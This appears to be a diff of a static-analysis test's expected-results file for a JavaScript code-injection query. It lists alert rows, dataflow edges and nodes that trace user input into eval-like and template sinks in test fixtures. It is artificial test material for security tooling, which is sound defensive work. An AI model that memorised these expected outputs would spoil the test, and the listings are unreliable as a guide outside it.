+| react-native.js:8:32:8:38 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:32:8:38 | tainted | This code execution depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
+| react-native.js:10:23:10:29 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:10:23:10:29 | tainted | This code execution depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
+| react.js:10:56:10:77 | documen ... on.hash | react.js:10:56:10:77 | documen ... on.hash | react.js:10:56:10:77 | documen ... on.hash | This code execution depends on a $@. | react.js:10:56:10:77 | documen ... on.hash | user-provided value |
+| template-sinks.js:20:17:20:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:20:17:20:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:21:16:21:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:21:16:21:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:22:18:22:24 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:22:18:22:24 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:23:17:23:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:23:17:23:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:24:18:24:24 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:24:18:24:24 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:25:16:25:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:25:16:25:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:26:27:26:33 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:26:27:26:33 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:27:21:27:27 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:27:21:27:27 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:28:17:28:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:28:17:28:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:29:24:29:30 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:29:24:29:30 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:30:21:30:27 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:30:21:30:27 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:31:19:31:25 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:31:19:31:25 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:32:16:32:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:32:16:32:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| template-sinks.js:33:17:33:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:33:17:33:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
+| tst.js:1:6:1:83 | documen ... t=")+8) | tst.js:1:6:1:27 | documen ... on.href | tst.js:1:6:1:83 | documen ... t=")+8) | This code execution depends on a $@. | tst.js:1:6:1:27 | documen ... on.href | user-provided value |
+| tst.js:3:12:3:33 | documen ... on.hash | tst.js:3:12:3:33 | documen ... on.hash | tst.js:3:12:3:33 | documen ... on.hash | This code execution depends on a $@. | tst.js:3:12:3:33 | documen ... on.hash | user-provided value |
+| tst.js:11:10:11:74 | documen ... , "$1") | tst.js:11:10:11:33 | documen ... .search | tst.js:11:10:11:74 | documen ... , "$1") | This code execution depends on a $@. | tst.js:11:10:11:33 | documen ... .search | user-provided value |
+| tst.js:13:21:13:42 | documen ... on.hash | tst.js:13:21:13:42 | documen ... on.hash | tst.js:13:21:13:42 | documen ... on.hash | This code execution depends on a $@. | tst.js:13:21:13:42 | documen ... on.hash | user-provided value |
+| tst.js:15:30:15:51 | documen ... on.hash | tst.js:15:30:15:51 | documen ... on.hash | tst.js:15:30:15:51 | documen ... on.hash | This code execution depends on a $@. | tst.js:15:30:15:51 | documen ... on.hash | user-provided value |
+| tst.js:17:6:17:46 | atob(do ... ing(1)) | tst.js:17:11:17:32 | documen ... on.hash | tst.js:17:6:17:46 | atob(do ... ing(1)) | This code execution depends on a $@. | tst.js:17:11:17:32 | documen ... on.hash | user-provided value |
+| tst.js:19:26:19:53 | locatio ... ring(1) | tst.js:19:26:19:40 | location.search | tst.js:19:26:19:53 | locatio ... ring(1) | This code execution depends on a $@. | tst.js:19:26:19:40 | location.search | user-provided value |
+| tst.js:24:18:24:23 | source | tst.js:22:18:22:41 | documen ... .search | tst.js:24:18:24:23 | source | This code execution depends on a $@. | tst.js:22:18:22:41 | documen ... .search | user-provided value |
+| tst.js:26:14:26:19 | source | tst.js:22:18:22:41 | documen ... .search | tst.js:26:14:26:19 | source | This code execution depends on a $@. | tst.js:22:18:22:41 | documen ... .search | user-provided value |
+| tst.js:28:28:28:33 | source | tst.js:22:18:22:41 | documen ... .search | tst.js:28:28:28:33 | source | This code execution depends on a $@. | tst.js:22:18:22:41 | documen ... .search | user-provided value |
+| tst.js:30:33:30:38 | source | tst.js:22:18:22:41 | documen ... .search | tst.js:30:33:30:38 | source | This code execution depends on a $@. | tst.js:22:18:22:41 | documen ... .search | user-provided value |
+| webix/webix.html:3:16:3:37 | documen ... on.hash | webix/webix.html:3:16:3:37 | documen ... on.hash | webix/webix.html:3:16:3:37 | documen ... on.hash | This code execution depends on a $@. | webix/webix.html:3:16:3:37 | documen ... on.hash | user-provided value |
+| webix/webix.html:4:26:4:47 | documen ... on.hash | webix/webix.html:4:26:4:47 | documen ... on.hash | webix/webix.html:4:26:4:47 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.html:4:26:4:47 | documen ... on.hash | user-provided value |
+| webix/webix.html:5:47:5:68 | documen ... on.hash | webix/webix.html:5:47:5:68 | documen ... on.hash | webix/webix.html:5:47:5:68 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.html:5:47:5:68 | documen ... on.hash | user-provided value |
+| webix/webix.js:3:12:3:33 | documen ... on.hash | webix/webix.js:3:12:3:33 | documen ... on.hash | webix/webix.js:3:12:3:33 | documen ... on.hash | This code execution depends on a $@. | webix/webix.js:3:12:3:33 | documen ... on.hash | user-provided value |
+| webix/webix.js:4:22:4:43 | documen ... on.hash | webix/webix.js:4:22:4:43 | documen ... on.hash | webix/webix.js:4:22:4:43 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.js:4:22:4:43 | documen ... on.hash | user-provided value |
+| webix/webix.js:5:43:5:64 | documen ... on.hash | webix/webix.js:5:43:5:64 | documen ... on.hash | webix/webix.js:5:43:5:64 | documen ... on.hash | Template, which may contain code, depends on a $@. | webix/webix.js:5:43:5:64 | documen ... on.hash | user-provided value |
 edges
 | NoSQLCodeInjection.js:18:24:18:31 | req.body | NoSQLCodeInjection.js:18:24:18:37 | req.body.query | provenance |  |
 | NoSQLCodeInjection.js:19:36:19:43 | req.body | NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | provenance |  |
 | NoSQLCodeInjection.js:22:36:22:43 | req.body | NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | provenance |  |
-| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ...  + "];" | provenance |  |
-| express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:79 | "return ...  + "];" | provenance |  |
-| express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:53 | "return ...  + "];" | provenance |  |
-| express.js:26:9:26:35 | taint | express.js:27:34:27:38 | taint | provenance |  |
-| express.js:26:17:26:35 | req.param("wobble") | express.js:26:9:26:35 | taint | provenance |  |
-| express.js:34:9:34:35 | taint | express.js:43:15:43:19 | taint | provenance |  |
-| express.js:34:17:34:35 | req.param("wobble") | express.js:34:9:34:35 | taint | provenance |  |
-| express.js:49:30:49:32 | msg | express.js:50:10:50:12 | msg | provenance |  |
+| express.js:6:44:6:62 | req.param("wobble") | express.js:6:24:6:69 | "return ...  + "];" | provenance |  |
+| express.js:7:54:7:72 | req.param("wobble") | express.js:7:34:7:79 | "return ...  + "];" | provenance |  |
+| express.js:9:28:9:46 | req.param("wobble") | express.js:9:8:9:53 | "return ...  + "];" | provenance |  |
+| express.js:19:9:19:35 | taint | express.js:20:34:20:38 | taint | provenance |  |
+| express.js:19:17:19:35 | req.param("wobble") | express.js:19:9:19:35 | taint | provenance |  |
+| express.js:27:9:27:35 | taint | express.js:36:15:36:19 | taint | provenance |  |
+| express.js:27:17:27:35 | req.param("wobble") | express.js:27:9:27:35 | taint | provenance |  |
+| express.js:42:30:42:32 | msg | express.js:43:10:43:12 | msg | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:8:32:8:38 | tainted | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:10:23:10:29 | tainted | provenance |  |
 | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | provenance |  |
@@ -28,17 +93,17 @@ edges
 | template-sinks.js:18:9:18:31 | tainted | template-sinks.js:32:16:32:22 | tainted | provenance |  |
 | template-sinks.js:18:9:18:31 | tainted | template-sinks.js:33:17:33:23 | tainted | provenance |  |
 | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:18:9:18:31 | tainted | provenance |  |
-| tst.js:2:6:2:27 | documen ... on.href | tst.js:2:6:2:83 | documen ... t=")+8) | provenance |  |
-| tst.js:14:10:14:33 | documen ... .search | tst.js:14:10:14:74 | documen ... , "$1") | provenance |  |
-| tst.js:23:11:23:32 | documen ... on.hash | tst.js:23:11:23:45 | documen ... ring(1) | provenance |  |
-| tst.js:23:11:23:45 | documen ... ring(1) | tst.js:23:6:23:46 | atob(do ... ing(1)) | provenance |  |
-| tst.js:26:26:26:40 | location.search | tst.js:26:26:26:53 | locatio ... ring(1) | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:31:18:31:23 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:33:14:33:19 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:35:28:35:33 | source | provenance |  |
-| tst.js:29:9:29:82 | source | tst.js:37:33:37:38 | source | provenance |  |
-| tst.js:29:18:29:41 | documen ... .search | tst.js:29:18:29:82 | documen ... , "$1") | provenance |  |
-| tst.js:29:18:29:82 | documen ... , "$1") | tst.js:29:9:29:82 | source | provenance |  |
+| tst.js:1:6:1:27 | documen ... on.href | tst.js:1:6:1:83 | documen ... t=")+8) | provenance |  |
+| tst.js:11:10:11:33 | documen ... .search | tst.js:11:10:11:74 | documen ... , "$1") | provenance |  |
+| tst.js:17:11:17:32 | documen ... on.hash | tst.js:17:11:17:45 | documen ... ring(1) | provenance |  |
+| tst.js:17:11:17:45 | documen ... ring(1) | tst.js:17:6:17:46 | atob(do ... ing(1)) | provenance |  |
+| tst.js:19:26:19:40 | location.search | tst.js:19:26:19:53 | locatio ... ring(1) | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:24:18:24:23 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:26:14:26:19 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:28:28:28:33 | source | provenance |  |
+| tst.js:22:9:22:82 | source | tst.js:30:33:30:38 | source | provenance |  |
+| tst.js:22:18:22:41 | documen ... .search | tst.js:22:18:22:82 | documen ... , "$1") | provenance |  |
+| tst.js:22:18:22:82 | documen ... , "$1") | tst.js:22:9:22:82 | source | provenance |  |
 nodes
 | NoSQLCodeInjection.js:18:24:18:31 | req.body | semmle.label | req.body |
 | NoSQLCodeInjection.js:18:24:18:37 | req.body.query | semmle.label | req.body.query |
@@ -61,24 +126,24 @@ nodes
 | angularjs.js:47:16:47:30 | location.search | semmle.label | location.search |
 | angularjs.js:50:22:50:36 | location.search | semmle.label | location.search |
 | angularjs.js:53:32:53:46 | location.search | semmle.label | location.search |
-| express.js:7:24:7:69 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:7:44:7:62 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:9:34:9:79 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:9:54:9:72 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:12:8:12:53 | "return ...  + "];" | semmle.label | "return ...  + "];" |
-| express.js:12:28:12:46 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:15:22:15:54 | req.par ... ction") | semmle.label | req.par ... ction") |
-| express.js:17:30:17:53 | req.par ... cript") | semmle.label | req.par ... cript") |
-| express.js:19:37:19:70 | req.par ... odule") | semmle.label | req.par ... odule") |
-| express.js:21:19:21:48 | req.par ... ntext") | semmle.label | req.par ... ntext") |
-| express.js:26:9:26:35 | taint | semmle.label | taint |
-| express.js:26:17:26:35 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:27:34:27:38 | taint | semmle.label | taint |
-| express.js:34:9:34:35 | taint | semmle.label | taint |
-| express.js:34:17:34:35 | req.param("wobble") | semmle.label | req.param("wobble") |
-| express.js:43:15:43:19 | taint | semmle.label | taint |
-| express.js:49:30:49:32 | msg | semmle.label | msg |
-| express.js:50:10:50:12 | msg | semmle.label | msg |
+| express.js:6:24:6:69 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:6:44:6:62 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:7:34:7:79 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:7:54:7:72 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:9:8:9:53 | "return ...  + "];" | semmle.label | "return ...  + "];" |
+| express.js:9:28:9:46 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:11:22:11:54 | req.par ... ction") | semmle.label | req.par ... ction") |
+| express.js:12:30:12:53 | req.par ... cript") | semmle.label | req.par ... cript") |
+| express.js:13:37:13:70 | req.par ... odule") | semmle.label | req.par ... odule") |
+| express.js:14:19:14:48 | req.par ... ntext") | semmle.label | req.par ... ntext") |
+| express.js:19:9:19:35 | taint | semmle.label | taint |
+| express.js:19:17:19:35 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:20:34:20:38 | taint | semmle.label | taint |
+| express.js:27:9:27:35 | taint | semmle.label | taint |
+| express.js:27:17:27:35 | req.param("wobble") | semmle.label | req.param("wobble") |
+| express.js:36:15:36:19 | taint | semmle.label | taint |
+| express.js:42:30:42:32 | msg | semmle.label | msg |
+| express.js:43:10:43:12 | msg | semmle.label | msg |
 | module.js:9:16:9:29 | req.query.code | semmle.label | req.query.code |
 | module.js:11:17:11:30 | req.query.code | semmle.label | req.query.code |
 | react-native.js:7:7:7:33 | tainted | semmle.label | tainted |
@@ -102,25 +167,25 @@ nodes
 | template-sinks.js:31:19:31:25 | tainted | semmle.label | tainted |
 | template-sinks.js:32:16:32:22 | tainted | semmle.label | tainted |
 | template-sinks.js:33:17:33:23 | tainted | semmle.label | tainted |
-| tst.js:2:6:2:27 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:2:6:2:83 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:5:12:5:33 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:14:10:14:33 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:14:10:14:74 | documen ... , "$1") | semmle.label | documen ... , "$1") |
-| tst.js:17:21:17:42 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:20:30:20:51 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:23:6:23:46 | atob(do ... ing(1)) | semmle.label | atob(do ... ing(1)) |
-| tst.js:23:11:23:32 | documen ... on.hash | semmle.label | documen ... on.hash |
-| tst.js:23:11:23:45 | documen ... ring(1) | semmle.label | documen ... ring(1) |
-| tst.js:26:26:26:40 | location.search | semmle.label | location.search |
-| tst.js:26:26:26:53 | locatio ... ring(1) | semmle.label | locatio ... ring(1) |
-| tst.js:29:9:29:82 | source | semmle.label | source |
-| tst.js:29:18:29:41 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:29:18:29:82 | documen ... , "$1") | semmle.label | documen ... , "$1") |
-| tst.js:31:18:31:23 | source | semmle.label | source |
-| tst.js:33:14:33:19 | source | semmle.label | source |
-| tst.js:35:28:35:33 | source | semmle.label | source |
-| tst.js:37:33:37:38 | source | semmle.label | source |
+| tst.js:1:6:1:27 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:1:6:1:83 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:3:12:3:33 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:11:10:11:33 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:11:10:11:74 | documen ... , "$1") | semmle.label | documen ... , "$1") |
+| tst.js:13:21:13:42 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:15:30:15:51 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:17:6:17:46 | atob(do ... ing(1)) | semmle.label | atob(do ... ing(1)) |
+| tst.js:17:11:17:32 | documen ... on.hash | semmle.label | documen ... on.hash |
+| tst.js:17:11:17:45 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst.js:19:26:19:40 | location.search | semmle.label | location.search |
+| tst.js:19:26:19:53 | locatio ... ring(1) | semmle.label | locatio ... ring(1) |
+| tst.js:22:9:22:82 | source | semmle.label | source |
+| tst.js:22:18:22:41 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:22:18:22:82 | documen ... , "$1") | semmle.label | documen ... , "$1") |
+| tst.js:24:18:24:23 | source | semmle.label | source |
+| tst.js:26:14:26:19 | source | semmle.label | source |
+| tst.js:28:28:28:33 | source | semmle.label | source |
+| tst.js:30:33:30:38 | source | semmle.label | source |
 | webix/webix.html:3:16:3:37 | documen ... on.hash | semmle.label | documen ... on.hash |
 | webix/webix.html:4:26:4:47 | documen ... on.hash | semmle.label | documen ... on.hash |
 | webix/webix.html:5:47:5:68 | documen ... on.hash | semmle.label | documen ... on.hash |
@@ -128,68 +193,3 @@ nodes
 | webix/webix.js:4:22:4:43 | documen ... on.hash | semmle.label | documen ... on.hash |
 | webix/webix.js:5:43:5:64 | documen ... on.hash | semmle.label | documen ... on.hash |
 subpaths
-#select
-| NoSQLCodeInjection.js:18:24:18:37 | req.body.query | NoSQLCodeInjection.js:18:24:18:31 | req.body | NoSQLCodeInjection.js:18:24:18:37 | req.body.query | This code execution depends on a $@. | NoSQLCodeInjection.js:18:24:18:31 | req.body | user-provided value |
-| NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | NoSQLCodeInjection.js:19:36:19:43 | req.body | NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | This code execution depends on a $@. | NoSQLCodeInjection.js:19:36:19:43 | req.body | user-provided value |
-| NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | NoSQLCodeInjection.js:22:36:22:43 | req.body | NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | This code execution depends on a $@. | NoSQLCodeInjection.js:22:36:22:43 | req.body | user-provided value |
-| actions.js:4:10:4:50 | github. ... message | actions.js:4:10:4:50 | github. ... message | actions.js:4:10:4:50 | github. ... message | This code execution depends on a $@. | actions.js:4:10:4:50 | github. ... message | user-provided value |
-| angularjs.js:10:22:10:36 | location.search | angularjs.js:10:22:10:36 | location.search | angularjs.js:10:22:10:36 | location.search | This code execution depends on a $@. | angularjs.js:10:22:10:36 | location.search | user-provided value |
-| angularjs.js:13:23:13:37 | location.search | angularjs.js:13:23:13:37 | location.search | angularjs.js:13:23:13:37 | location.search | This code execution depends on a $@. | angularjs.js:13:23:13:37 | location.search | user-provided value |
-| angularjs.js:16:28:16:42 | location.search | angularjs.js:16:28:16:42 | location.search | angularjs.js:16:28:16:42 | location.search | This code execution depends on a $@. | angularjs.js:16:28:16:42 | location.search | user-provided value |
-| angularjs.js:19:22:19:36 | location.search | angularjs.js:19:22:19:36 | location.search | angularjs.js:19:22:19:36 | location.search | This code execution depends on a $@. | angularjs.js:19:22:19:36 | location.search | user-provided value |
-| angularjs.js:22:27:22:41 | location.search | angularjs.js:22:27:22:41 | location.search | angularjs.js:22:27:22:41 | location.search | This code execution depends on a $@. | angularjs.js:22:27:22:41 | location.search | user-provided value |
-| angularjs.js:25:23:25:37 | location.search | angularjs.js:25:23:25:37 | location.search | angularjs.js:25:23:25:37 | location.search | This code execution depends on a $@. | angularjs.js:25:23:25:37 | location.search | user-provided value |
-| angularjs.js:28:33:28:47 | location.search | angularjs.js:28:33:28:47 | location.search | angularjs.js:28:33:28:47 | location.search | This code execution depends on a $@. | angularjs.js:28:33:28:47 | location.search | user-provided value |
-| angularjs.js:31:28:31:42 | location.search | angularjs.js:31:28:31:42 | location.search | angularjs.js:31:28:31:42 | location.search | This code execution depends on a $@. | angularjs.js:31:28:31:42 | location.search | user-provided value |
-| angularjs.js:34:18:34:32 | location.search | angularjs.js:34:18:34:32 | location.search | angularjs.js:34:18:34:32 | location.search | This code execution depends on a $@. | angularjs.js:34:18:34:32 | location.search | user-provided value |
-| angularjs.js:40:18:40:32 | location.search | angularjs.js:40:18:40:32 | location.search | angularjs.js:40:18:40:32 | location.search | This code execution depends on a $@. | angularjs.js:40:18:40:32 | location.search | user-provided value |
-| angularjs.js:44:17:44:31 | location.search | angularjs.js:44:17:44:31 | location.search | angularjs.js:44:17:44:31 | location.search | This code execution depends on a $@. | angularjs.js:44:17:44:31 | location.search | user-provided value |
-| angularjs.js:47:16:47:30 | location.search | angularjs.js:47:16:47:30 | location.search | angularjs.js:47:16:47:30 | location.search | This code execution depends on a $@. | angularjs.js:47:16:47:30 | location.search | user-provided value |
-| angularjs.js:50:22:50:36 | location.search | angularjs.js:50:22:50:36 | location.search | angularjs.js:50:22:50:36 | location.search | This code execution depends on a $@. | angularjs.js:50:22:50:36 | location.search | user-provided value |
-| angularjs.js:53:32:53:46 | location.search | angularjs.js:53:32:53:46 | location.search | angularjs.js:53:32:53:46 | location.search | This code execution depends on a $@. | angularjs.js:53:32:53:46 | location.search | user-provided value |
-| express.js:7:24:7:69 | "return ...  + "];" | express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ...  + "];" | This code execution depends on a $@. | express.js:7:44:7:62 | req.param("wobble") | user-provided value |
-| express.js:9:34:9:79 | "return ...  + "];" | express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:79 | "return ...  + "];" | This code execution depends on a $@. | express.js:9:54:9:72 | req.param("wobble") | user-provided value |
-| express.js:12:8:12:53 | "return ...  + "];" | express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:53 | "return ...  + "];" | This code execution depends on a $@. | express.js:12:28:12:46 | req.param("wobble") | user-provided value |
-| express.js:15:22:15:54 | req.par ... ction") | express.js:15:22:15:54 | req.par ... ction") | express.js:15:22:15:54 | req.par ... ction") | This code execution depends on a $@. | express.js:15:22:15:54 | req.par ... ction") | user-provided value |
-| express.js:17:30:17:53 | req.par ... cript") | express.js:17:30:17:53 | req.par ... cript") | express.js:17:30:17:53 | req.par ... cript") | This code execution depends on a $@. | express.js:17:30:17:53 | req.par ... cript") | user-provided value |
-| express.js:19:37:19:70 | req.par ... odule") | express.js:19:37:19:70 | req.par ... odule") | express.js:19:37:19:70 | req.par ... odule") | This code execution depends on a $@. | express.js:19:37:19:70 | req.par ... odule") | user-provided value |
-| express.js:21:19:21:48 | req.par ... ntext") | express.js:21:19:21:48 | req.par ... ntext") | express.js:21:19:21:48 | req.par ... ntext") | This code execution depends on a $@. | express.js:21:19:21:48 | req.par ... ntext") | user-provided value |
-| express.js:27:34:27:38 | taint | express.js:26:17:26:35 | req.param("wobble") | express.js:27:34:27:38 | taint | This code execution depends on a $@. | express.js:26:17:26:35 | req.param("wobble") | user-provided value |
-| express.js:43:15:43:19 | taint | express.js:34:17:34:35 | req.param("wobble") | express.js:43:15:43:19 | taint | This code execution depends on a $@. | express.js:34:17:34:35 | req.param("wobble") | user-provided value |
-| express.js:50:10:50:12 | msg | express.js:49:30:49:32 | msg | express.js:50:10:50:12 | msg | This code execution depends on a $@. | express.js:49:30:49:32 | msg | user-provided value |
-| module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | This code execution depends on a $@. | module.js:9:16:9:29 | req.query.code | user-provided value |
-| module.js:11:17:11:30 | req.query.code | module.js:11:17:11:30 | req.query.code | module.js:11:17:11:30 | req.query.code | This code execution depends on a $@. | module.js:11:17:11:30 | req.query.code | user-provided value |
-| react-native.js:8:32:8:38 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:32:8:38 | tainted | This code execution depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
-| react-native.js:10:23:10:29 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:10:23:10:29 | tainted | This code execution depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
-| react.js:10:56:10:77 | documen ... on.hash | react.js:10:56:10:77 | documen ... on.hash | react.js:10:56:10:77 | documen ... on.hash | This code execution depends on a $@. | react.js:10:56:10:77 | documen ... on.hash | user-provided value |
-| template-sinks.js:20:17:20:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:20:17:20:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:21:16:21:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:21:16:21:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:22:18:22:24 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:22:18:22:24 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:23:17:23:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:23:17:23:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:24:18:24:24 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:24:18:24:24 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:25:16:25:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:25:16:25:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:26:27:26:33 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:26:27:26:33 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:27:21:27:27 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:27:21:27:27 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:28:17:28:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:28:17:28:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:29:24:29:30 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:29:24:29:30 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:30:21:30:27 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:30:21:30:27 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:31:19:31:25 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:31:19:31:25 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:32:16:32:22 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:32:16:32:22 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| template-sinks.js:33:17:33:23 | tainted | template-sinks.js:18:19:18:31 | req.query.foo | template-sinks.js:33:17:33:23 | tainted | Template, which may contain code, depends on a $@. | template-sinks.js:18:19:18:31 | req.query.foo | user-provided value |
-| tst.js:2:6:2:83 | documen ... t=")+8) | tst.js:2:6:2:27 | documen ... on.href | tst.js:2:6:2:83 | documen ... t=")+8) | This code execution depends on a $@. | tst.js:2:6:2:27 | documen ... on.href | user-provided value |
